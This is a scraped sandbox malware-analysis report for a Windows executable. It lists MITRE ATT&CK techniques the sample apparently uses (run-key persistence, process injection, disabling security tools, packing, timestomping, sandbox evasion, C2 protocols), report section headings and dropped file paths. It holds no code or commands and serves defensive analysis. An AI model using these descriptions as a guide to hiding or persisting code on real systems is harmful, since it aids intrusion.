Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report zlONcFaXkc.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Bitcoin Miner

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_zcezeaqsuhi.exe_2eccf0ba13a86cf1e1a7577debc3c62bd9f527_7718e8e7_69a45190-049e-4ed2-84e1-5c3b9073c72f\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD304.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFBBB.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFC29.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFC75.tmp.csv

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFE4B.tmp.txt

C:\Users\Public\Desktop\Google Chrome.lnk

Windows Analysis Report
zlONcFaXkc.exe

Description:	Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Tactics:	Collection
Data Sources:	Logon Session: Logon Session Creation, Process: Process Access, Process: Process Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre